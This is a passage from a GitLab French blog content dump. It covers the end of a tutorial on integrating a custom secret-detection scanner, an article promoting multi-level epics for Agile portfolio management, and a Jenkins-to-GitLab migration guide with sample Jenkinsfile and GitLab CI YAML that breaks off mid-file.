approprié.\n\n## Tutoriel : intégration de scanners de sécurité personnalisés\n\nPassons maintenant à la partie la plus intéressante : l'intégration d'un scanner de sécurité personnalisé. Dans ce tutoriel, vous apprendrez à créer un scanner de sécurité personnalisé, ainsi qu'à l'intégrer à GitLab. Nous nous appuierons sur les projets suivants :\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) : analyse vos fichiers à la recherche de motifs spécifiques tels que les mots de passe, les clés privées et les numéros de sécurité sociale.\n- [Secret List](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list) : contient une liste répertoriant des mots de passe d'utilisateurs et de clients, et des clés. Ce projet sert à démontrer comment un scanner de sécurité personnalisé peut être intégré à GitLab.\n\nPour en savoir plus, consultez la vidéo suivante : \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Création d'un scanner de sécurité personnalisé\n\nCréons maintenant un scanner personnalisé qui peut être intégré à GitLab. Avant qu'un scanner personnalisé puisse être entièrement intégré à GitLab, il doit respecter les conditions suivantes :\n- scanner un répertoire à la recherche de motifs définis\n- générer un fichier JSON conforme au schéma approprié\n- être conteneurisé et accessible depuis GitLab\n- fournir un template autorisant son exécution sur un autre projet\n\nLorsque le [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) est exécuté sur un projet à l'aide du template fourni, il effectue les étapes suivantes :\n1. Il charge un ensemble de règles qui définissent les motifs (regex) à détecter.\n- Il permet la configuration des règles afin de s'adapter aux besoins en constante évolution de votre entreprise.\n2. Il scanne les fichiers à la recherche des motifs définis.\n3. Il génère un rapport JSON conforme au schéma de détection des secrets.\n- Il utilise des templates Go pour créer ce fichier JSON.\n- Veillez à utiliser le schéma adéquate, selon les éléments que votre scanner doit rechercher.\n\nUne fois le rapport JSON chargé en tant qu'artefact dans GitLab, il alimente le widget de sécurité des merges requests, le rapport de vulnérabilités, les pages de vulnérabilités, les politiques d'approbation des merge requests ainsi que les tableaux de bord de sécurité, comme décrit précédemment.\n\n### Intégration d'un scanner de sécurité personnalisé à GitLab\n\nUne fois que vous avez créé votre scanner personnalisé qui répond à tous les besoins d'intégration, vous pouvez l'exécuter sur GitLab.\n\nExécuter un scanner personnalisé est aussi simple que d'ajouter un template. Par exemple, le template Fern Pattern Scanner est chargé dans le fichier `.gitlab-ci.yml` sur le projet [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list).\n\nVoici les étapes à suivre :\n\n1. Créez un [fichier .gitlab-ci.yml](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) dans le projet sur lequel vous souhaitez exécuter le scanner.\n\n2. Incluez le [template du scanner personnalisé](https://docs.gitlab.com/ee/ci/yaml/includes.html).\n    - Vous pouvez également configurer ce template avec des variables d'environnement.\n\n3. Validez ce fichier dans la branche principale.\n\nUne fois le fichier validé, vous pouvez constater que le scanner personnalisé s'exécute dans votre pipeline. Une fois le pipeline terminé, le scanner alimentera toutes les zones définies ci-dessus dans la section [Intégration de scanners de sécurité dans GitLab](#gitlab-security-scanner-integration).\n\nPour en savoir plus, consultez les ressources ci-dessous et les autres possibilités d'extension de votre plateforme DevSecOps :\n\n- [Intégration du scanner de sécurité dans GitLab](https://docs.gitlab.com/ee/development/integrations/secure.html)\n- [Intégrations des partenaires GitLab](https://docs.gitlab.com/ee/integration/)\n- [Groupe de projets du scanner de sécurité personnalisé](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration)\n- [Réponse automatique à une fuite de secret](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html)\n",[1069,673,1951,1067],"2025-06-09",{"slug":2982,"featured":92,"template":683},"how-to-integrate-custom-security-scanners-into-gitlab","content:fr-fr:blog:how-to-integrate-custom-security-scanners-into-gitlab.yml","How To Integrate Custom Security Scanners Into Gitlab","fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab.yml","fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"_path":2988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2989,"content":2995,"config":3001,"_id":3003,"_type":16,"title":3004,"_source":17,"_file":3005,"_stem":3006,"_extension":20},"/fr-fr/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"title":2990,"description":2991,"ogTitle":2990,"ogDescription":2991,"noIndex":6,"ogImage":2992,"ogUrl":2993,"ogSiteName":841,"ogType":842,"canonicalUrls":2993,"schema":2994},"Améliorer la gestion de portefeuille avec les epics multi-niveaux de GitLab","Découvrez comment les epics multi-niveaux de GitLab révolutionnent la gestion de portefeuille Agile, offrant une approche structurée mais flexible pour une planification stratégique et une exécution efficace.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098713/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098713577.png","https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Améliorer la gestion de portefeuille avec les epics multi-niveaux de GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"},{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2024-02-06\",\n      }",{"title":2990,"description":2991,"authors":2996,"heroImage":2992,"date":2998,"body":2999,"category":1480,"tags":3000},[1477,2997],"Melissa Ushakov","2024-02-06","Dans le paysage en constante évolution du développement de logiciels, le succès des organisations repose essentiellement sur une [gestion de portefeuille](https://about.gitlab.com/fr-fr/solutions/agile-delivery/ \"Gestion de portefeuille GitLab\") efficace. Pour mener à bien votre stratégie commerciale, il est crucial de faire les bons choix, d'allouer des ressources de manière optimale et d'atténuer les risques. Les capacités de gestion de portefeuille de GitLab offrent une approche structurée mais flexible pour aligner la stratégie et l'exécution.\n\nDans cet article de blog, nous explorerons les avantages des epics multi-niveaux de GitLab et leur rôle central dans la gestion de portefeuille Agile.\n\n## Comprendre les epics multi-niveaux de GitLab\n\nLes epics multi-niveaux de [GitLab](https://about.gitlab.com/fr-fr/ \"Plateforme GitLab\") permettent aux organisations d'organiser leur travail selon une structure hiérarchique qui offre une vue claire et détaillée des projets et de leurs interdépendances. De cette manière, les équipes peuvent prendre des décisions éclairées, anticiper les défis potentiels et optimiser leurs workflows pour gagner en efficacité et mener à bien leurs projets.\n\nContrairement à d'autres outils, GitLab permet d'imbriquer les epics sur un maximum de sept niveaux, à l'échelle de différents groupes et projets, ce qui permet une coordination interfonctionnelle efficace.\n\n![epics portfolio management - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098727863.png)\n\n## Quels sont les avantages des epics multi-niveaux dans la gestion de portefeuille ?\n\nVoici quatre avantages des epics multi-niveaux dans la gestion de portefeuille.\n\n### 1. Une compatibilité flexible avec les frameworks Agile\n\nLes epics s'adaptent sans difficultés aux divers Scaled Agile Frameworks (SAFe), ce qui permet aux équipes d'ajuster GitLab à leur méthode de travail préférée. Avec leur conception flexible, les epics multi-niveaux permettent de représenter différents éléments de travail de planification de niveau supérieur avec une configuration minimale.\n\nCette adaptabilité permet aux équipes d'utiliser efficacement GitLab pour les workflows de planification de produits, sans avoir à effectuer une configuration approfondie. Elles peuvent ainsi consacrer davantage de temps à la planification stratégique et moins à la configuration des outils.\n\n### 2. Une répartition granulaire du travail\n\nLes epics multi-niveaux de GitLab permettent aux organisations de décomposer les projets complexes en composants plus petits et gérables. Ainsi, les équipes peuvent identifier des itérations plus petites, qui permettent la création plus rapide et plus fréquente de valeur tangible pour les utilisateurs.\n\nLes epics de niveau supérieur fournissent une vue d'ensemble stratégique qui peut s'étendre sur plusieurs années, tandis que les epics plus proches des livrables peuvent généralement être complétés en quelques sprints. Les epics peuvent être divisés en tickets et en tâches afin de combiner les objectifs stratégiques avec des livrables plus tactiques.\n\n![epics portfolio management - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098727864.png)\n\n### 3. Une visibilité et une collaboration en temps réel\n\nLes epics de GitLab offrent une visibilité en temps réel sur l'avancement des projets et favorisent une collaboration efficace en équipe. GitLab offre une traçabilité inégalée, avec des mises à jour automatiques de la progression des epics, basées sur l'activité DevSecOps en aval pour les éléments de travail connectés. Ce qui permet aux parties prenantes de prendre des décisions éclairées sur la base des informations les plus à jour, d'allouer efficacement les ressources et d'adopter une approche proactive de la gestion des délais de livraison des produits.\n\n![epics portfolio management - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098727866.png)\n\n### 4. Une planification inter-équipes\n\nLes epics multi-niveaux simplifient le processus pour une planification efficace entre différentes équipes en fournissant une vue centralisée de la répartition du travail et des dépendances dans toute l'organisation, garantissant ainsi une collaboration et une coordination cohérentes des efforts. Toutes les informations nécessaires aux processus de planification Agile et à l'exécution du travail de votre organisation sont ainsi regroupées dans un seul et même outil.\n\n![epics portfolio management - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098728/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098727871.png)\n\nLes outils de gestion de portefeuille de GitLab, notamment les epics multi-niveaux, garantissent que la planification stratégique s'aligne parfaitement sur l'exécution des projets, permettant ainsi aux équipes de gérer la complexité du développement logiciel avec précision et efficacité, tout en se concentrant sur les objectifs commerciaux globaux.\n\nPrêt à exploiter pleinement le potentiel des epics multi-niveaux de GitLab et à améliorer votre expérience de la gestion de portefeuille ? Consultez nos [options d'abonnement](https://about.gitlab.com/fr-fr/pricing/ \"Abonnements GitLab\") et découvrez l'ensemble de nos fonctionnalités conçues pour favoriser la collaboration, améliorer la transparence et assurer le succès de vos projets.\n",[1482,784,1067],{"slug":3002,"featured":92,"template":683},"unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management","content:fr-fr:blog:unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","Unlocking Agile Excellence Gitlab Epics For Seamless Portfolio Management","fr-fr/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management.yml","fr-fr/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management",{"_path":3008,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3009,"content":3015,"config":3021,"_id":3023,"_type":16,"title":3024,"_source":17,"_file":3025,"_stem":3026,"_extension":20},"/fr-fr/blog/jenkins-to-gitlab-migration-made-easy",{"title":3010,"description":3011,"ogTitle":3010,"ogDescription":3011,"noIndex":6,"ogImage":3012,"ogUrl":3013,"ogSiteName":841,"ogType":842,"canonicalUrls":3013,"schema":3014},"Migrer de Jenkins vers GitLab : le guide complet","Découvrez pourquoi et comment migrer facilement de Jenkins vers GitLab en suivant ce guide étape par étape.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663019/Blog/Hero%20Images/AdobeStock_519147119.jpg","https://about.gitlab.com/blog/jenkins-to-gitlab-migration-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrer de Jenkins vers GitLab : le guide complet\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-01\",\n      }",{"title":3010,"description":3011,"authors":3016,"heroImage":3012,"date":3017,"body":3018,"category":764,"tags":3019,"updatedDate":3020},[1316],"2024-02-01","GitLab est la plateforme DevSecOps alimentée par l'IA la plus complète. En effet, GitLab fournit toutes les fonctionnalités dont vous avez besoin pour planifier, développer et livrer des logiciels sécurisés plus rapidement, le tout au sein d'une seule et même plateforme. \n\nLes plateformes comme GitLab éliminent les difficultés et les défis liés à l'intégration de multiples outils (approche DevOps DIY) pour gérer au mieux le cycle de vie du développement logiciel (SDLC). À l'inverse, Jenkins n'étant pas une plateforme, des outils supplémentaires sont nécessaires pour compléter le SDLC. Cette approche DevOps DIY introduit une complexité supplémentaire liée à la chaîne d'outils, et génère un certain nombre d'inconvénients comme : \n\n- La nécessité d'une assistance personnalisée pour l'intégration et l'orchestration des outils\n- La difficulté à tenir à jour/mettre à niveau/sécuriser des outils disparates\n- L'impossibilité de mesurer correctement la transformation organisationnelle\n- Une mauvaise expérience des équipes de développement \n- Des coûts supplémentaires en lien avec la gestion, les délais et le budget\n- Une perte de productivité\n- Un changement de contexte et une inefficacité en terme de collaboration\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175993/Blog/ikr97sr9jclddeqdg7ew.png\" alt=\"Import project selection\">\n   \u003Cfigcaption>DevOps DIY versus plateforme DevSecOps\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nPour ces raisons, de nombreuses équipes de développement utilisant Jenkins envisagent de migrer vers une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ?\") complète. Si vous recherchez une plateforme puissante, fiable et sécurisée, GitLab est votre meilleure option ! GitLab propose une version gratuite ainsi que différents niveaux d'abonnement en fonction des besoins de votre entreprise. Pour en savoir plus sur nos offres et fonctionnalités, consultez notre [page tarifaire](https://about.gitlab.com/fr-fr/pricing/).\n\nDécouvrez dans cet article de blog :\n- Comment planifier une migration\n- Comment migrer des dépôts depuis d'autres outils de gestion du code source (SCM) vers GitLab\n- Comment migrer des pipelines CI/CD de Jenkins vers GitLab\n\n## Comment planifier une migration de Jenkins vers GitLab ? \n\nAvant d'initier la migration de vos dépôts hébergés sur un autre outil vers GitLab CI/CD, vous devez élaborer un plan de migration. Cette étape technique est importante et vous permet de définir clairement vos attentes. Les outils CI/CD diffèrent par leur approche, leur structure et leurs spécificités techniques. Par conséquent, les migrations ne sont pas de simples transferts directs des données. \n\nUn plan de migration offre les avantages suivants :\n- Il définit et communique une vision claire de vos objectifs de migration, ce qui aide les personnes impliquées à comprendre le but de cette opération. \n- Il vous permet de vous assurer d’obtenir l'aval des équipes de direction concernées pour faciliter cette démarche.\n- Il permet d'expliquer aux utilisateurs les changements à venir.\n- Il permet de trouver des moyens de séquencer ou de retarder certaines étapes de la migration pour éviter l'échec de la migration ou une migration partielle.\n- Il documente les avantages des améliorations apportées par GitLab CI/CD et met à jour votre mise en œuvre à chaque étape de la migration.\n\nUn plan de migration vous aide à mettre en place un processus fluide permettant de migrer progressivement vers GitLab, avec un minimum de perturbations. Il peut s'agir d’exécuter simultanément Jenkins et GitLab, tandis que certains projets sont transférés de Jenkins vers GitLab.\n\n### Définissez un processus de gestion du changement\n\nIl se peut que les développeurs, opérateurs informatiques, administrateurs cloud, équipes en charge de la sécurité, ainsi que les ingénieurs qualité n'aient pas d'expérience avec GitLab et ne sachent pas pourquoi vous ou votre équipe de direction avez choisi de réaliser cette migration. C'est pourquoi votre plan de migration doit inclure un processus efficace de gestion du changement. \n\nLes personnes impactées par cette migration doivent savoir :\n- __Pourquoi__ ce changement est nécessaire\n- __À quoi__ ressemblera le futur système\n- __Comment__ l'entreprise prévoit d'atteindre cet objectif\n- __Vers qui__ se tourner pour obtenir plus d'informations ou de l'aide \n\nÀ cette fin, vous devez réaliser les étapes suivantes afin de gérer efficacement le changement au sein des différentes équipes fonctionnelles : \n- __Analysez l'état actuel__ : documentez les processus existants. Collectez des indicateurs qui serviront de base de référence. Identifiez ce qui fonctionne ou non avec l'[approche CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") en interrogeant certains membres de votre équipe. Documentez les défis que vous devez relever, et ce d'un point de vue quantitatif et qualitatif. Comme vous allez devoir expliquer les raisons de ce changement et votre vision, plus vous définirez clairement les problématiques que vous espérez résoudre, plus il vous sera facile d'obtenir l'adhésion de tous. \n- __Établissez une vision__ : maintenant que vous avez décrit les points de friction actuels quantitativement avec des indicateurs de référence et qualitativement (en vous basant sur les retours des membres de votre équipe), communiquez une vision de l'état futur. Expliquez pourquoi c'est important (en vous référant aux indicateurs de réussite de votre entreprise) et partagez l’état actuel de la situation et les résultats attendus. Renforcez ce message par le biais de différents canaux de communication : groupes de discussion, réunions rassemblant l'ensemble des acteurs de l'entreprise, ou encore notifications par e-mail.\n- __Formez les collaborateurs__ : investissez dans une [formation sur GitLab CI/CD](https://about.gitlab.com/services/education/gitlab-ci/) dispensée par un expert GitLab. Mesurez l'acquisition et la mémorisation des connaissances à l'aide des [certifications GitLab](https://levelup.gitlab.com/pages/certifications). \n- __Communiquez la roadmap et les ressources__ : partagez avec les membres de votre équipe le calendrier prévu de la migration et les ressources mises à leur disposition pour faciliter la transition. Mentionnez également les ressources communautaires (groupes de discussion, forums), afin que votre équipe puisse poser des questions et obtenir de l'aide. Créez un système qui récompense les équipes qui effectuent rapidement cette transition, et encouragez-les à partager leur expérience avec d'autres équipes similaires au sein de l'entreprise.\n\nSi vous mettez en place ces éléments dès le début de cette transition, cela sera de bon augure pour la réussite de votre migration. \n\n### Définissez des objectifs de migration\n\nAvant d'effectuer votre migration, vous devez avoir une bonne compréhension de vos objectifs et de la façon de les atteindre. Voici par exemple certaines des questions auxquelles vous devez pouvoir répondre :\n\n- Quel est votre calendrier de migration ?\n- Quelle est la configuration actuelle de votre serveur Jenkins ?\n- Combien de projets sont concernés par la migration ?\n- Quel est le degré de complexité de votre pipeline ?\n- Nécessite-t-il des dépendances externes, plusieurs déclencheurs pour s'exécuter, exécute-t-il plusieurs processus en parallèle pour compiler le code, etc. ?\n- Comment/où déployez-vous votre code ?\n- Quel est le processus de revue/sortie des nouvelles versions et de déploiement du code ?\n- Est-il intégré dans Jenkins ou dans un workflow distinct déclenché par Jenkins ?\n- Quels artefacts de compilation ou binaires sont nécessaires au succès du pipeline ?\n- Quels plug-ins sont utilisés par les jobs dans Jenkins aujourd'hui ?\n- Quel logiciel est installé sur les agents Jenkins ?\n- Quelle solution de gestion du code source (SCM) utilisez-vous actuellement ?\n- Utilisez-vous des bibliothèques partagées dans vos jobs Jenkins ?\n- Quelle méthode d'authentification est utilisée pour Jenkins (Basic Authentication, LDAP/AD, SSO) ?\n- Y a-t-il d'autres projets auxquels vous devez accéder depuis votre pipeline ?\n- Des identifiants de connexion dans Jenkins sont-ils utilisés pour accéder à des services externes ?\n\nEn répondant à ces questions, vous saurez comment procéder à la migration, combien de temps durera cette opération et par où commencer. Une fois que vous avez élaboré un plan et que vous êtes conscient des attentes et des écueils possibles, vous pouvez commencer votre processus de migration.\n\n## Prérequis à la migration\n\nUne fois que vous avez créé votre plan de migration et répondu à toutes les attentes associées, vous pouvez commencer à configurer GitLab. \n\nVoici certains des prérequis suggérés pour la migration :\n- Familiarisez-vous avec GitLab et découvrez les [fonctionnalités clés de GitLab CI/CD](https://docs.gitlab.com/ee/ci/index.html).\n- Suivez des tutoriels pour créer votre premier [pipeline GitLab](https://docs.gitlab.com/ee/ci/quick_start/index.html) et des [pipelines plus complexes](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html) qui créent, testent et déploient un site statique.\n- Passez en revue la [liste des mots-clés de configuration .gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/index.html).\n- Configurez GitLab.\n- Testez votre instance GitLab.\n\nUne fois que vous avez compris le fonctionnement de GitLab et qu'une instance a été configurée, vous pouvez suivre votre plan de migration et commencer à déplacer des projets de Jenkins vers GitLab. Vérifiez que votre instance GitLab a été correctement configurée à l'aide des bonnes pratiques et des [architectures de référence](https://docs.gitlab.com/ee/administration/reference_architectures/) de GitLab.\n\n### Migrez vos dépôts vers GitLab\nL'un des principaux inconvénients de Jenkins est qu'il ne fournit pas de solution SCM. Si vous utilisez Jenkins, votre code doit être stocké dans une solution SCM distincte à laquelle Jenkins doit avoir accès. Comme GitLab dispose d'un SCM intégré, la migration depuis Jenkins vous permet également de migrer depuis la solution SCM que vous utilisiez, ce qui entraîne une réduction supplémentaire des coûts.\n\nGitLab fournit des outils pour vous permettre de déplacer facilement votre dépôt et ses métadonnées dans GitLab. Les outils d'importation suivants sont inclus et vous aideront à migrer vos projets vers GitLab :\n\n- [GitHub](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Autre instance GitLab](https://docs.gitlab.com/ee/user/project/settings/import_export.html)\n- [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html)\n- [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n- [FogBugz](https://docs.gitlab.com/ee/user/project/import/fogbugz.html)\n- [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html)\n- [Jira (Tickets uniquement)](https://docs.gitlab.com/ee/user/project/import/jira.html)\n- [Dépôt par fichier manifeste](https://docs.gitlab.com/ee/user/project/import/manifest.html)\n- [Dépôt par URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html)\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176002/Blog/ie2xrexhbcoq6m8rnhit.png\" alt=\"GitHub to GitLab Repo Exporter\">\n   \u003Cfigcaption>Outil d'exportation de dépôt de GitHub vers GitLab\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nChaque outil d'importation importe différentes données d'un projet. Lisez notre [documentation sur l'importation et la migration de projets](https://docs.gitlab.com/ee/user/project/import/) pour en savoir plus sur les outils d'importation fournis et comprendre quelles données sont migrées vers GitLab. De plus, vous pouvez [automatiser l'importation de groupes et de projets](https://docs.gitlab.com/ee/user/project/import/#automate-group-and-project-import) et créer une solution personnalisée pour mieux répondre aux besoins de votre entreprise :\n\n- [Services professionnels](https://about.gitlab.com/services/)\n- [Services de migration](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/docs/using-congregate.md#quick-start)\n- [Foire aux questions sur la migration](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/famq.md)\n\n#### Comment migrer un dépôt ? \n\nLa migration d'un dépôt vers GitLab est facile grâce à nos outils d'importation intégrés. Dans cet exemple, nous allons vous expliquer comment copier un dépôt de GitHub vers GitLab ainsi que [ses ressources](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data) (tickets, pull requests, jalons et plus encore). \n\nAfin de migrer un dépôt depuis GitHub vers GitLab, vous pouvez suivre les étapes ci-dessous :\n\n1. Dans la barre latérale de gauche, en haut, sélectionnez **Créer un nouveau (+)**.\n2. Sélectionnez **Nouveau projet/dépôt**.\n3. Sélectionnez **Importer un projet**.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176017/Blog/boowmmaqhbredxa3g92s.png\" alt=\"Import project selection\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n4. Cliquez sur le bouton **GitHub**.\n    - Si vous utilisez GitLab Self-Managed, vous devez [activer l'outil d'importation GitHub](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n    - Notez que d'autres outils d'importation peuvent être lancés de la même manière.\n5. Vous pouvez ensuite utiliser l'une des deux options ci-dessous :\n    - Autoriser OAuth de GitHub en sélectionnant **Autoriser avec GitHub**.\n    - Utiliser un jeton d'accès personnel GitHub :\n       - Accédez à la page [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - Dans le champ **Note**, saisissez une description du token.\n       - Sélectionnez la portée du dépôt.\n       - En option, pour importer des collaborateurs, sélectionnez la portée **read:org**.\n       - Cliquez sur le bouton **Générer un token**.\n       - Sur la page d'importation de GitLab, dans le champ **Jeton d'accès personnel**, collez le jeton d'accès personnel GitHub.\n6. Cliquez sur le bouton **Authentification**.\n7. Sélectionnez les éléments que vous souhaitez migrer.\n8. Sélectionnez les projets que vous souhaitez migrer et leur destination.\n9. Cliquez sur le bouton **Importer**.\n\nLe projet importé devrait maintenant être disponible dans votre espace de travail. Pour en savoir plus sur la migration de GitHub vers GitLab, regardez cette vidéo :\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=TQ5HI9aMwtzJMiMi\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nUne fois que vous avez terminé la migration de votre dépôt, vous pouvez configurer votre pipeline Jenkins pour exploiter le fichier Jenkinsfile dans GitLab. Pour ce faire, définissez l'URL du dépôt sur le projet que vous venez tout juste d'importer via le menu de configuration du pipeline Jenkins :\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176020/Blog/mu475liw66abcxbu2g6g.png\" alt=\"Jenkins Pipeline SCM settings\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nCette opération est utile pendant la phase de migration initiale du dépôt et vous permet d'utiliser Jenkins et GitLab en parallèle. Vous évitez ainsi toute interruption de service pendant que vous travaillez sur votre migration.\n\nDe plus, vous pouvez utiliser le [plug-in Jenkins GitLab](https://plugins.jenkins.io/gitlab-plugin/) pour faciliter la migration. Ce plug-in permet à GitLab de déclencher et d'obtenir le statut des compilations Jenkins.\n\n### Migrez vos pipelines CI/CD\nUne fois que vous avez migré vos dépôts vers GitLab, vous pouvez procéder à la migration de vos pipelines Jenkins. Bien qu'assez simple, ce processus nécessite une bonne compréhension des concepts et de la syntaxe Jenkins et GitLab.\n\nJenkins fournit deux types de syntaxe pour la définition des pipelines : une syntaxe déclarative et une syntaxe scriptée. Dans ce guide, nous décrirons la migration à partir des pipelines déclaratifs, car ils sont les plus couramment utilisés.\n\n#### Migrez votre pipeline étape par étape\n\nDans ce tutoriel, nous analyserons un fichier Jenkinsfile (Groovy) ainsi qu'un fichier de configuration GitLab CI/CD (YAML) qui compile, teste et déploie un microservice écrit en Golang. Nous activerons ensuite le pipeline dans GitLab et observerons le résultat. \n\nLe pipeline :\n- Utilisera l'image de conteneur Golang avec le tag **alpine**\n- Exécutera un job pour compiler le code Golang en un fichier binaire exécutable\n   - Stockera le fichier exécutable compilé en tant qu'artefact\n- Exécutera un job pour lancer les tests unitaires\n- Exécutera un job pour effectuer le déploiement sur l'environnement de préproduction\n   - Ne s'exécutera que si la validation cible la branche de **préproduction**\n   - S'exécutera uniquement après la réussite de l'étape de **test**\n   - Utilisera l'artefact exécutable compilé du job précédent\n\nVous trouverez ci-dessous les définitions de pipeline Jenkins et GitLab accompagnées de commentaires descriptifs. Vous pouvez observer le pipeline en action dans le [projet de migration Meow](https://gitlab.com/gitlab-da/projects/blogs/meow-migration).\n\nVoici un fichier Jenkinsfile écrit en Groovy :\n\n```  \n// The top-level of the declarative\n// pipeline.\npipeline {\n\n  // Defines the default agent to use\n  // when it is not explicitly defined\n  // in a job.\n    agent any\n\n  // Defines the stages that will run\n  // in numerical order. Each stage\n  // only runs one job.\n    stages {\n\n    // Defines the name of the stage\n        stage('build') {\n      // Defines the container image to\n      // use for this job, overwriting\n      // the default 'agent any'.\n      // The Jenkins Docker plugin\n      // must be configured for this\n      // to run.\n            agent { docker 'golang:alpine' }\n\n      // Defines the sequence of steps\n      // to execute when the stage is\n      // run.\n            steps {\n                sh 'go build -o bin/meow-micro'\n                sh 'chmod +x bin/meow-micro'\n            }\n\n      // The steps to run after the\n      // stage completes.\n            post {\n              always {\n\n        // Stores the stage artifacts\n        // generated for use in another\n        // job.\n                archiveArtifacts artifacts: 'bin/meow-micro'\n                onlyIfSuccessful: true\n              }\n            }\n        }\n\n    stage('test') {\n            agent { docker 'golang:alpine' }\n            steps {\n                sh 'go test .'\n            }\n        }\n\n        stage('deploy') {\n      // Defines conditions which must\n      // be met in order for the job to\n      // execute. In this case the\n      // deploy job will only run on the \n      // staging branch.\n            when {\n              branch 'staging'\n            }\n            steps {\n                echo 'Deploying meow-micro to staging'\n        // Uses the artifact stored in\n        // the build stage.\n                sh './bin/meow-micro'\n            }\n        }\n    }\n}\n```\n\nVoyons maintenant comment créer la même fonctionnalité dans GitLab :\n\n```\n# Defines the default image to use\n# when it is not explicitly defined in\n# a job.\ndefault:\n  image: alpine:latest\n\n# Defines the order to run the stages.\n# Each stage can have multiple jobs.\nstages:\n  - build\n  - test\n  - deploy\n\n# Defines the name of the job\ncreate-binary:\n # Defines the stage the job will run in\n  stage: build\n # Defines the container image to use\n # for this job, overwriting default.\n  image: golang:alpine\n # Defines the sequence of steps to\n # execute when the job is run.\n  script:\n    - go build -o bin/meow-micro\n    - chmod +x bin/meow-micro\n # Stores the job artifacts generated\n # for use in another job.\n  artifacts:\n    paths:\n      - bin/meow-micro\n    expire_in: 1 week\n\nunit-tests:\n  stage: test\n  image: golang:alpine\n  script:\n    - go test .\n # Defines commands to run after the\n # job.\n after_script:\n  - echo \"Tests Complete\"\n\nstaging-deploy:\n  stage: deploy\n # Defines commands to run before the\n # actual job.\n  before_script:\n    - apk update\n  script:\n    - echo \"Deploying meow-micro to staging environment\"\n    - ./bin/meow-micro\n # Defines conditions which must be met\n # in order for this job to execute. In\n # this case the staging-deploy job will \n # only run on the staging branch.\n  rules:\n    - if: $CI_COMMIT_BRANCH == 'staging'\n # Allows the artifact stored in the\n # build job to be used 